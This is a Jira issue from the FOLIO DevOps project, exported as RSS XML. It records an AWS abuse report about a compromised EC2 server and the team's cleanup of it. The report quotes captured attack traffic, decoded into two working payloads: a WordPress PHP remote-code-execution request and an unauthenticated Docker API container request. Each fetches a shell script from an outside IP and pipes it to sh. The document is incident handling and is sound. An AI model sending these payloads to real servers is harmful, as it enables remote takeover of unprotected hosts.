<!-- 
RSS generated by JIRA (1001.0.0-SNAPSHOT#100246-sha1:7a5c50119eb0633d306e14180817ddef5e80c75d) at Thu Feb 08 23:22:10 UTC 2024

It is possible to restrict the fields that are returned in this document by specifying the 'field' parameter in your request.
For example, to request only the issue key and summary add field=key&field=summary to the URL of your request.
-->
<rss version="0.92" >
<channel>
    <title>FOLIO Jira</title>
    <link>https://folio-org.atlassian.net</link>
    <description>This file is an XML representation of an issue</description>
    <language>en-us</language>    <build-info>
        <version>1001.0.0-SNAPSHOT</version>
        <build-number>100246</build-number>
        <build-date>07-02-2024</build-date>
    </build-info>

<item>
            <title>[FOLIO-2642] carrier-io-restored AWS security incident: wordpress_php_rce, docker_unauth_rce</title>
                <link>https://folio-org.atlassian.net/browse/FOLIO-2642</link>
                <project id="10290" key="FOLIO">FOLIO</project>
                    <description>&lt;p&gt;Hello,&lt;/p&gt;

&lt;p&gt;We&apos;ve received a report(s) that your AWS resource(s)&lt;/p&gt;

&lt;p&gt;AWS ID: 732722833398    Region: us-east-1    EC2 Instance Id: i-0b5799b100760ae41 &lt;span class=&quot;error&quot;&gt;&amp;#91;3.93.19.104&amp;#93;&lt;/span&gt;&lt;/p&gt;


&lt;p&gt;has been implicated in activity which resembles attempts to access remote hosts on the internet without authorization. Activity of this nature is forbidden in the AWS Acceptable Use Policy (&lt;a href=&quot;https://aws.amazon.com/aup/&quot; class=&quot;external-link&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://aws.amazon.com/aup/&lt;/a&gt;). We&apos;ve included the original report below for your review.&lt;/p&gt;

&lt;p&gt;Please take action to stop the reported activity and reply directly to this email with details of the corrective actions you have taken. If you do not consider the activity described in these reports to be abusive, please reply to this email with details of your use case.&lt;/p&gt;

&lt;p&gt;If you&apos;re unaware of this activity, it&apos;s possible that your environment has been compromised by an external attacker, or a vulnerability is allowing your machine to be used in a way that it was not intended.&lt;/p&gt;

&lt;p&gt;We are unable to assist you with troubleshooting or technical inquiries. However, for guidance on securing your instance, we recommend reviewing the following resources:&lt;/p&gt;

&lt;ul&gt;
	&lt;li&gt;Amazon EC2 Security Groups User Guide:&lt;br/&gt;
&lt;a href=&quot;https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html&quot; class=&quot;external-link&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html&lt;/a&gt; (Linux)&lt;br/&gt;
&lt;a href=&quot;https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/using-network-security.html&quot; class=&quot;external-link&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/using-network-security.html&lt;/a&gt; (Windows)&lt;/li&gt;
&lt;/ul&gt;


&lt;ul&gt;
	&lt;li&gt;Tips for Securing EC2 Instances:&lt;br/&gt;
&lt;a href=&quot;https://aws.amazon.com/answers/security/aws-securing-ec2-instances&quot; class=&quot;external-link&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://aws.amazon.com/answers/security/aws-securing-ec2-instances&lt;/a&gt; (Linux)&lt;br/&gt;
&lt;a href=&quot;https://aws.amazon.com/answers/security/aws-securing-windows-instances&quot; class=&quot;external-link&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://aws.amazon.com/answers/security/aws-securing-windows-instances&lt;/a&gt; (Windows)&lt;/li&gt;
&lt;/ul&gt;


&lt;ul&gt;
	&lt;li&gt;AWS Security Best Practices:&lt;br/&gt;
&lt;a href=&quot;https://d0.awsstatic.com/whitepapers/Security/AWS_Security_Best_Practices.pdf&quot; class=&quot;external-link&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://d0.awsstatic.com/whitepapers/Security/AWS_Security_Best_Practices.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;If you require further assistance with this matter, you can take advantage of our developer forums:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://forums.aws.amazon.com/index.jspa&quot; class=&quot;external-link&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forums.aws.amazon.com/index.jspa&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Or, if you are subscribed to a Premium Support package, you may reach out for one-on-one assistance here:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://console.aws.amazon.com/support/home#/case/create?issueType=technical&quot; class=&quot;external-link&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://console.aws.amazon.com/support/home#/case/create?issueType=technical&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Please remember that you are responsible for ensuring that your instances and all applications are properly secured. If you require any further information to assist you in identifying or rectifying this issue, please let us know in a direct reply to this message.&lt;/p&gt;

&lt;p&gt;Regards,&lt;br/&gt;
AWS Trust &amp;amp; Safety&lt;br/&gt;
Amazon Web Services, LLC&lt;/p&gt;

&lt;p&gt;Case Number: 10688485529-1&lt;/p&gt;

&lt;p&gt;Comments:&lt;br/&gt;
&amp;lt;&amp;lt;&amp;lt;&lt;br/&gt;
This is to inform you that the destination IP addresses listed in attached evidence logs have received unexpected network traffic with potentially harmful payloads from an EC2 instance with IP address of 3.93.19.104 (ec2-3-93-19-104.compute-1.amazonaws.com) during the timeframe 2020-06-10 17:54:43 GMT to 2020-06-10 18:39:40 GMT.&lt;/p&gt;

&lt;p&gt;You may find attached the logs from destinations which receieved the unexpected network traffic. Please note that the payload field in attached evidece logs is base64 encoded and the content must be handled with security precautions required to analyze potentially harmful malware.&lt;br/&gt;
&amp;gt;&amp;gt;&amp;gt;&lt;/p&gt;

&lt;div class=&quot;code panel&quot; style=&quot;border-width: 1px;&quot;&gt;&lt;div class=&quot;codeContent panelContent&quot;&gt;
&lt;pre class=&quot;code-java&quot;&gt;
{
&lt;span class=&quot;code-quote&quot;&gt;&quot;traffic_start&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;2020-06-10 17:54:43 GMT&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;traffic_end&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;2020-06-10 18:39:40 GMT&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;source_ip&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;3.93.19.104&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;source_rdns&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;ec2-3-93-19-104.compute-1.amazonaws.com&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;destination_ips&quot;&lt;/span&gt;: [
&lt;span class=&quot;code-quote&quot;&gt;&quot;15.185.200.0&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;13.208.183.251&quot;&lt;/span&gt;
],
&lt;span class=&quot;code-quote&quot;&gt;&quot;destination_ports&quot;&lt;/span&gt;: [
&lt;span class=&quot;code-quote&quot;&gt;&quot;80/tcp&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;2375/tcp&quot;&lt;/span&gt;
],
&lt;span class=&quot;code-quote&quot;&gt;&quot;payload_classes&quot;&lt;/span&gt;: [
&lt;span class=&quot;code-quote&quot;&gt;&quot;exploit:gen/docker_unauth_rce&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;exploit:gen/wordpress_php_rce&quot;&lt;/span&gt;
],
&lt;span class=&quot;code-quote&quot;&gt;&quot;traffic_logs&quot;&lt;/span&gt;: [
{
&lt;span class=&quot;code-quote&quot;&gt;&quot;timestamp&quot;&lt;/span&gt;: 1591814380,
&lt;span class=&quot;code-quote&quot;&gt;&quot;source_ip&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;3.93.19.104&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;source_domain&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;ec2-3-93-19-104.compute-1.amazonaws.com&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;destination_ip&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;15.185.200.0&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;destination_port&quot;&lt;/span&gt;: 80,
&lt;span class=&quot;code-quote&quot;&gt;&quot;destination_service&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;http&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;protocol&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;tcp&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;payload_class&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;exploit:gen/wordpress_php_rce&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;payload_data&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;R0VUIC8/YT1mZXRjaCZjb250ZW50PTxwaHA+ZGllKHNoZWxsX2V4ZWMoImN1cmwlMjAyMTcuMTIuMjEwLjIwOS90Zi5zaHxzaCIpKTwvcGhwPiBIVFRQLzEuMQ0KaG9zdDogMTUuMTg1LjIwMC4wOjgwDQp1c2VyLWFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNzguMC4zOTA0LjEwOCBTYWZhcmkvNTM3LjM2DQpjb25uZWN0aW9uOiBjbG9zZQ0KYWNjZXB0LWVuY29kaW5nOiBnemlwDQoNCg==&quot;&lt;/span&gt;
},
{
&lt;span class=&quot;code-quote&quot;&gt;&quot;timestamp&quot;&lt;/span&gt;: 1591811683,
&lt;span class=&quot;code-quote&quot;&gt;&quot;source_ip&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;3.93.19.104&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;source_domain&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;ec2-3-93-19-104.compute-1.amazonaws.com&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;destination_ip&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;13.208.183.251&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;destination_port&quot;&lt;/span&gt;: 2375,
&lt;span class=&quot;code-quote&quot;&gt;&quot;destination_service&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;docker&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;protocol&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;tcp&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;payload_class&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;exploit:gen/docker_unauth_rce&quot;&lt;/span&gt;,
&lt;span class=&quot;code-quote&quot;&gt;&quot;payload_data&quot;&lt;/span&gt;: &lt;span class=&quot;code-quote&quot;&gt;&quot;UE9TVCAvdjEuMjQvY29udGFpbmVycy9jcmVhdGUgSFRUUC8xLjENCmhvc3Q6IDEzLjIwOC4xODMuMjUxOjIzNzUNCnVzZXItYWdlbnQ6IEdvLWh0dHAtY2xpZW50LzEuMQ0KY29udGVudC1sZW5ndGg6IDQ2MA0KY29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9qc29uDQphY2NlcHQtZW5jb2Rpbmc6IGd6aXANCg0KeyJIb3N0bmFtZSI6IiIsIkRvbWFpbm5hbWUiOiIiLCJVc2VyIjoiIiwiQXR0YWNoU3RkaW4iOmZhbHNlLCJBdHRhY2hTdGRvdXQiOmZhbHNlLCJBdHRhY2hTdGRlcnIiOmZhbHNlLCJUdHkiOmZhbHNlLCJPcGVuU3RkaW4iOmZhbHNlLCJTdGRpbk9uY2UiOmZhbHNlLCJFbnYiOm51bGwsIkNtZCI6bnVsbCwiSW1hZ2UiOiJ1YnVudHUiLCJWb2x1bWVzIjpudWxsLCJXb3JraW5nRGlyIjoiIiwiRW50cnlwb2ludCI6WyIvYmluL2Jhc2giLCItYyIsImFwdC1nZXQgdXBkYXRlIFx1MDAyNlx1MDAyNiBhcHQtZ2V0IGluc3RhbGwgLXkgd2dldCBjcm9uO3NlcnZpY2UgY3JvbiBzdGFydDsgd2dldCAtcSAtTyAtIDIxNy4xMi4yMTAuMjA5L2Quc2ggfCBzaDt0YWlsIC1mIC9kZXYvbnVsbCJdLCJPbkJ1aWxkIjpudWxsLCJMYWJlbHMiOm51bGwsIkhvc3RDb25maWciOm51bGwsIk5ldHdvcmtpbmdDb25maWciOm51bGx9Cg==&quot;&lt;/span&gt;
}
]
}
&lt;/pre&gt;
&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;wordpress_php_rce payload after base 64 decoding:&lt;/p&gt;
&lt;div class=&quot;code panel&quot; style=&quot;border-width: 1px;&quot;&gt;&lt;div class=&quot;codeContent panelContent&quot;&gt;
&lt;pre class=&quot;code-java&quot;&gt;
GET /?a=fetch&amp;amp;content=&amp;lt;php&amp;gt;die(shell_exec(&lt;span class=&quot;code-quote&quot;&gt;&quot;curl%20217.12.210.209/tf.sh|sh&quot;&lt;/span&gt;))&amp;lt;/php&amp;gt; HTTP/1.1
host: 15.185.200.0:80
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
connection: close
accept-encoding: gzip
&lt;/pre&gt;
&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;docker_unauth_rce payload after base 64 decoding:&lt;/p&gt;
&lt;div class=&quot;code panel&quot; style=&quot;border-width: 1px;&quot;&gt;&lt;div class=&quot;codeContent panelContent&quot;&gt;
&lt;pre class=&quot;code-java&quot;&gt;
POST /v1.24/containers/create HTTP/1.1
host: 13.208.183.251:2375
user-agent: Go-http-client/1.1
content-length: 460
content-type: application/json
accept-encoding: gzip

{&lt;span class=&quot;code-quote&quot;&gt;&quot;Hostname&quot;&lt;/span&gt;:&lt;span class=&quot;code-quote&quot;&gt;&quot;&quot;,&quot;&lt;/span&gt;Domainname&lt;span class=&quot;code-quote&quot;&gt;&quot;:&quot;&lt;/span&gt;&lt;span class=&quot;code-quote&quot;&gt;&quot;,&quot;&lt;/span&gt;User&lt;span class=&quot;code-quote&quot;&gt;&quot;:&quot;&lt;/span&gt;&lt;span class=&quot;code-quote&quot;&gt;&quot;,&quot;&lt;/span&gt;AttachStdin&lt;span class=&quot;code-quote&quot;&gt;&quot;:&lt;span class=&quot;code-keyword&quot;&gt;false&lt;/span&gt;,&quot;&lt;/span&gt;AttachStdout&lt;span class=&quot;code-quote&quot;&gt;&quot;:&lt;span class=&quot;code-keyword&quot;&gt;false&lt;/span&gt;,&quot;&lt;/span&gt;AttachStderr&lt;span class=&quot;code-quote&quot;&gt;&quot;:&lt;span class=&quot;code-keyword&quot;&gt;false&lt;/span&gt;,&quot;&lt;/span&gt;Tty&lt;span class=&quot;code-quote&quot;&gt;&quot;:&lt;span class=&quot;code-keyword&quot;&gt;false&lt;/span&gt;,&quot;&lt;/span&gt;OpenStdin&lt;span class=&quot;code-quote&quot;&gt;&quot;:&lt;span class=&quot;code-keyword&quot;&gt;false&lt;/span&gt;,&quot;&lt;/span&gt;StdinOnce&lt;span class=&quot;code-quote&quot;&gt;&quot;:&lt;span class=&quot;code-keyword&quot;&gt;false&lt;/span&gt;,&quot;&lt;/span&gt;Env&lt;span class=&quot;code-quote&quot;&gt;&quot;:&lt;span class=&quot;code-keyword&quot;&gt;null&lt;/span&gt;,&quot;&lt;/span&gt;Cmd&lt;span class=&quot;code-quote&quot;&gt;&quot;:&lt;span class=&quot;code-keyword&quot;&gt;null&lt;/span&gt;,&quot;&lt;/span&gt;Image&lt;span class=&quot;code-quote&quot;&gt;&quot;:&quot;&lt;/span&gt;ubuntu&lt;span class=&quot;code-quote&quot;&gt;&quot;,&quot;&lt;/span&gt;Volumes&lt;span class=&quot;code-quote&quot;&gt;&quot;:&lt;span class=&quot;code-keyword&quot;&gt;null&lt;/span&gt;,&quot;&lt;/span&gt;WorkingDir&lt;span class=&quot;code-quote&quot;&gt;&quot;:&quot;&lt;/span&gt;&lt;span class=&quot;code-quote&quot;&gt;&quot;,&quot;&lt;/span&gt;Entrypoint&lt;span class=&quot;code-quote&quot;&gt;&quot;:[&quot;&lt;/span&gt;/bin/bash&lt;span class=&quot;code-quote&quot;&gt;&quot;,&quot;&lt;/span&gt;-c&lt;span class=&quot;code-quote&quot;&gt;&quot;,&quot;&lt;/span&gt;apt-get update \u0026\u0026 apt-get install -y wget cron;service cron start; wget -q -O - 217.12.210.209/d.sh | sh;tail -f /dev/&lt;span class=&quot;code-keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;code-quote&quot;&gt;&quot;],&quot;&lt;/span&gt;OnBuild&lt;span class=&quot;code-quote&quot;&gt;&quot;:&lt;span class=&quot;code-keyword&quot;&gt;null&lt;/span&gt;,&quot;&lt;/span&gt;Labels&lt;span class=&quot;code-quote&quot;&gt;&quot;:&lt;span class=&quot;code-keyword&quot;&gt;null&lt;/span&gt;,&quot;&lt;/span&gt;HostConfig&lt;span class=&quot;code-quote&quot;&gt;&quot;:&lt;span class=&quot;code-keyword&quot;&gt;null&lt;/span&gt;,&quot;&lt;/span&gt;NetworkingConfig&quot;:&lt;span class=&quot;code-keyword&quot;&gt;null&lt;/span&gt;}
&lt;/pre&gt;
&lt;/div&gt;&lt;/div&gt;
</description>
                <environment></environment>
        <key id="81672">FOLIO-2642</key>
            <summary>carrier-io-restored AWS security incident: wordpress_php_rce, docker_unauth_rce</summary>
                <type id="10003" iconUrl="https://folio-org.atlassian.net/rest/api/2/universal_avatar/view/type/issuetype/avatar/10318?size=medium">Task</type>
                                            <priority id="10000" iconUrl="https://dev.folio.org/assets/jira-priority/jira-p1.svg">P1</priority>
                        <status id="6" iconUrl="https://folio-org.atlassian.net/images/icons/statuses/closed.png" description="The issue is considered finished, the resolution is correct. Issues which are closed can be reopened.">Closed</status>
                    <statusCategory id="3" key="done" colorName="green"/>
                                    <resolution id="10003">Done</resolution>
                                                        <assignee accountid="5f9abc1eb45b2e007453f423">John Malconian</assignee>
                                                                <reporter accountid="5ced27478b03050f27825a93">Peter Murray</reporter>
                                    <labels>
                            <label>security</label>
                    </labels>
                <created>Thu, 11 Jun 2020 13:02:30 +0000</created>
                <updated>Wed, 17 Jun 2020 13:19:37 +0000</updated>
                            <resolved>Wed, 17 Jun 2020 13:19:37 +0000</resolved>
                                                                        <due></due>
                            <votes>0</votes>
                                    <watches>3</watches>
                                                                <comments>
                                                            <comment id="199108" author="5ced27478b03050f27825a93" created="Tue, 16 Jun 2020 12:59:40 +0000"  >&lt;p&gt;&lt;a href=&quot;https://folio-org.atlassian.net/secure/ViewProfile.jspa?accountId=5f9abc1eb45b2e007453f423&quot; class=&quot;user-hover&quot; rel=&quot;5f9abc1eb45b2e007453f423&quot; data-account-id=&quot;5f9abc1eb45b2e007453f423&quot; accountid=&quot;5f9abc1eb45b2e007453f423&quot; rel=&quot;noreferrer&quot;&gt;John Malconian&lt;/a&gt;: Did you see the rather insistent follow-up email from AWS this morning?  It seems like they want some kind of answer from us by email.  Did you have a chance to clean up this server?&lt;/p&gt;</comment>
                                                            <comment id="199111" author="5f9abc1eb45b2e007453f423" created="Tue, 16 Jun 2020 14:22:33 +0000"  >&lt;p&gt;&lt;a href=&quot;https://folio-org.atlassian.net/secure/ViewProfile.jspa?accountId=5ced27478b03050f27825a93&quot; class=&quot;user-hover&quot; rel=&quot;5ced27478b03050f27825a93&quot; data-account-id=&quot;5ced27478b03050f27825a93&quot; accountid=&quot;5ced27478b03050f27825a93&quot; rel=&quot;noreferrer&quot;&gt;Peter Murray&lt;/a&gt;  The server is still running but traffic is not allowed in and out.  I have an outstanding request from Martin to take a backup of the influx dbs before I completely shut it down.    Haven&apos;t seen the email from AWS yet,  but I&apos;ll respond. &lt;/p&gt;</comment>
                                                            <comment id="199113" author="5f9abc1eb45b2e007453f423" created="Tue, 16 Jun 2020 14:40:30 +0000"  >&lt;p&gt;Sent response with our findings to AWS. &lt;/p&gt;</comment>
                                                            <comment id="199114" author="5ced27478b03050f27825a93" created="Tue, 16 Jun 2020 15:12:15 +0000"  >&lt;p&gt;Thanks!&lt;/p&gt;</comment>
                                                            <comment id="199116" author="5f9abc1eb45b2e007453f423" created="Tue, 16 Jun 2020 15:32:39 +0000"  >&lt;p&gt;I&apos;ve taken influx db backups according to instructions from Martin and provided them to him via S3.    The &apos;carrier-io-restored&apos; has been terminated.   I&apos;m going to close this issue and follow up separately about a rebuild.  &lt;/p&gt;</comment>
                    </comments>
                    <attachments>
                    </attachments>
                <subtasks>
                    </subtasks>
                <customfields>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                <customfield id="customfield_10000" key="com.atlassian.jira.plugins.jira-development-integration-plugin:devsummarycf">
                        <customfieldname>Development</customfieldname>
                        <customfieldvalues>
                            
                        </customfieldvalues>
                    </customfield>
                                                                <customfield id="customfield_10057" key="com.atlassian.jira.plugin.system.customfieldtypes:select">
                        <customfieldname>Development Team</customfieldname>
                        <customfieldvalues>
                                <customfieldvalue key="10155"><![CDATA[FOLIO DevOps]]></customfieldvalue>

                        </customfieldvalues>
                    </customfield>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        <customfield id="customfield_10019" key="com.pyxis.greenhopper.jira:gh-lexo-rank">
                        <customfieldname>Rank</customfieldname>
                        <customfieldvalues>
                            <customfieldvalue>0|i019pb:</customfieldvalue>

                        </customfieldvalues>
                    </customfield>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    <customfield id="customfield_10020" key="com.pyxis.greenhopper.jira:gh-sprint">
                        <customfieldname>Sprint</customfieldname>
                        <customfieldvalues>
                                <customfieldvalue id="1878">DevOps: sprint 90</customfieldvalue>

                        </customfieldvalues>
                    </customfield>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        <customfield id="customfield_10024" key="com.atlassian.jira.ext.charting:firstresponsedate">
                        <customfieldname>[CHART] Date of First Response</customfieldname>
                        <customfieldvalues>
                            <customfieldvalue>Tue, 16 Jun 2020 14:22:33 +0000</customfieldvalue>

                        </customfieldvalues>
                    </customfield>
                                                                <customfield id="customfield_10025" key="com.atlassian.jira.ext.charting:timeinstatus">
                        <customfieldname>[CHART] Time in Status</customfieldname>
                        <customfieldvalues>
                            
                        </customfieldvalues>
                    </customfield>
                                    </customfields>
    </item>
</channel>
</rss>